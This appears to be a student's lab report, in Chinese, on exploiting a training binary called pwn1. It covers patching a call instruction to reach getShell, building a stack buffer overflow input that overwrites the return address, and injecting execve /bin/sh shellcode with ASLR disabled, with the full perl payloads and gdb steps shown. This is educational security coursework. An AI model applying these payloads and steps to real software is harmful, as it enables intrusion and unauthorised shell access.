20222313 2024-2025-1《网络与系统攻防技术》实验一报告

1.实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

  • 1.手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  • 2.利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  • 3.注入一个自己制作的shellcode并运行这段shellcode。

基础知识：

  • 1.熟悉Linux基本操作
    常用指令：
    ls：列出目录内容。
    cd：更改当前工作目录。
    mkdir：创建新的目录。
    rm：删除文件或目录。
    cp：复制文件或目录。
    mv：移动或重命名文件或目录。
    grep：搜索文本中的模式。
    find：查找文件。
    管道（|）：允许将一个命令的输出作为另一个命令的输入，例如 ls | grep txt 会列出所有名称中包含“txt”的文件。

  • 2.理解Bof的原理。
    Bof是一种常见的安全漏洞，当程序尝试向缓冲区写入超过其容量的数据时发生。这可能导致数据溢出到相邻的内存空间，从而破坏其他数据或者执行恶意代码。
    汇编语言是低级编程语言，直接对应于机器指令。理解汇编可以帮助了解底层的操作细节。
    EIP在x86架构中指向下一条要执行的指令地址。在BoF攻击中，攻击者可能试图控制EIP来让CPU执行他们想要的代码。
    通过溢出缓冲区，攻击者可以改写栈上的返回地址，使得函数返回后跳转到恶意代码的位置。

  • 3.会使用gdb,vi。
    使用GDB的一些基本命令包括：
    run：开始执行程序。
    break：设置断点。
    continue：继续执行直到下一个断点。
    step：单步执行。
    print：打印变量值。
    vi/vim 插入模式的一些基本命令包括：
    i：进入插入模式。
    :w：保存文件。
    :q：退出编辑器。
    :wq 或 ZZ：保存并退出。
    :q!：不保存退出。

  • 4.hellcode就是一段机器指令（code）
    通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
    在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

2.实验过程

  1. 直接修改程序机器指令，改变程序执行流程

首先cp pwn1 pwn20222313_1，将pwn1复制出一份pwn20222313_1。

在终端输入objdump -d pwn20222313_1 | more，对pwn20222313_1进行反汇编。

先看第12行，"call 8048491 "是汇编指令
是说这条指令将调用位于地址8048491处的foo函数；
其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba。
main函数调用foo，对应机器指令为“ e8 d7ffffff”，如果让它调用getShell，只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行，可知补码为c3ffffff。
接着利用vi pwn20222313_1修改pwn20222313_1文件内容，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

打开文件后为乱码，按esc。输入:%!xxd将文件转化为十六进制读取形式，输入/e8 d7找到需要修改的位置。

按i进入插入模式，进行修改。

修改完成后，输入:%!xxd -r和:wq保存并退出。
输入./pwn20222313_1运行更改后的文件，成功得到shell提示符。

  1. 通过构造输入参数，造成BOF攻击，改变程序执行流

复制pwn1得到一份pwn20222313_2。
在终端输入sudo apt update，sudo apt install gdb安装gdb。

输入gdb pwn20222313_2调试程序，输入r，输入1111111122222222333333334444444455555555

输入info r查看寄存器eip的值，可以看到，eip中的值被修改成了 0x35353535，也就是说这时候eip里存的数据是"5555"(因为5的ASCII码是0x35)，而我们输入长度已经超过了原本缓冲区的28字节，字符串的“555555555”部分溢出覆盖掉了eip的部分。

再次先输入gdb pwn20222313_2和r调试程序，输入1111111122222222333333334444444412345678。

输入info r查看寄存器eip的值，看到eip中的值变成了 0x34333231，也就是说里面存的字符是"4321"，由此我们看到输入字符串“111111..12345678”中的“1234”覆盖掉原本堆栈中的返回地址。

结合之前反汇编的内容得知getShell的地址为804847d。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"'> input20222313
查看input20222313中的内容xxd input20222313

输入(cat input20222313;cat)| ./pwn20222313_2将input20222313中的内容输入pwn20222313_2中，发现执行成功。

  1. 注入Shellcode并执行

准备工作：
输入下列指令对系统进行设置：
execstack -s pwn20222313_3
execstack -q pwn20222313_3
more /proc/sys/kernel/randomize_va_space
sudo su
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space


生成一个shellcode：
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
输入(cat input_shellcode;cat) | ./pwn20222313_3进行注入。

打开一个新终端，输入ps -ef | grep pwn20222313_3查找进程号。

27897就是我们需要的进程号。
打开gdb进行调试，输入attach 27897调试进程，输入disassemble foo设置断点，查看要注入的内存地址。

可以看到，地址是0x080484ae，输入break *0x080484ae，把断点设置在080484ae。

在最开始的终端按下回车，然后在新打开的终端输入c继续运行，输入info r esp，查看esp地址，发现shellcode地址为0xffffd38c

输入x/16x 0xffffd38c，发现0xffffd38c的地址内存储着01020304

栈顶指针地址加四字节0xffffd38c+4=0xffffd390，所以shellcode中的x4\x3\x2\x1应该改为90\d3\ff\ff。
再次编写一个shellcode：
perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再次注入：输入(cat input_shellcode;cat) | ./pwn20222313_3。
顺利运行：

3.问题及解决方案

    • 问题1：在安装gdb时安装失败，发现libc6-dev 包需要的 binutils 版本低于 2.38，但系统中已经安装的 binutils 的版本是 2.37-10.1，两个并不兼容
  • 问题1解决方案：输入sudo apt install binutils 重新下载新版binutils，下载成功后顺利安装gdb。
    • 问题2：输入./pwn20222313_1执行文件时，提示“zsh:permission denied:/pwn20222313_1”
  • 问题2解决方案：在终端中输入chmod +x ./pwn20222313_1
    • 问题3：找不到execstack指令

  • 问题3解决方案：输入命令wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb和sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb

4.学习感悟、思考等

作为网络攻防的第一次实验，我从下载安装kali，学习linux环境下的指令开始，几乎是从0学习了各种技能和基础知识。这次实验首先明确了目标：针对一个Linux可执行文件进行操作，找到并利用程序中的缓冲区溢出漏洞来执行特定的shellcode。整个过程分为几个步骤，包括直接修改可执行文件以改变程序流程、构造输入参数引发缓冲区溢出从而控制程序执行流，以及最终注入并执行自定义的shellcode。
在学习过程中，我遇到了很多小问题，比如用户权限不够，指令找不到，地址没有加4等，在解决这些小问题的过程中，我对Linux系统有了更深入的理解。我了解了基本的Linux操作和常用命令对于完成此类实验的重要性，理解和掌握了基础的汇编语言，学会了构建有效的payload以及如何准备一段shellcode，并将其成功注入到目标程序中，实现远程攻击模拟。
实验说明，实施合适的保护措施对于网络安全是不可忽视的。从防御的角度出发，我还了解了多种防止缓冲区溢出攻击的方法，如启用堆栈不可执行（NX bit）、使用地址空间布局随机化（ASLR）等技术增加攻击难度。同时，指出即使采取了这些防护措施，攻击者仍可能通过其他技术手段绕过，例如ROP攻击。
这次学习不仅提高了对缓冲区溢出漏洞及其利用方法的理解，而且增强了对软件安全防护机制的认识，为今后在网络安全领域的工作打下了坚实的基础。

参考资料

posted @ 2024-10-10 16:20  冉皓宁  阅读(10)  评论(0)  编辑  收藏  举报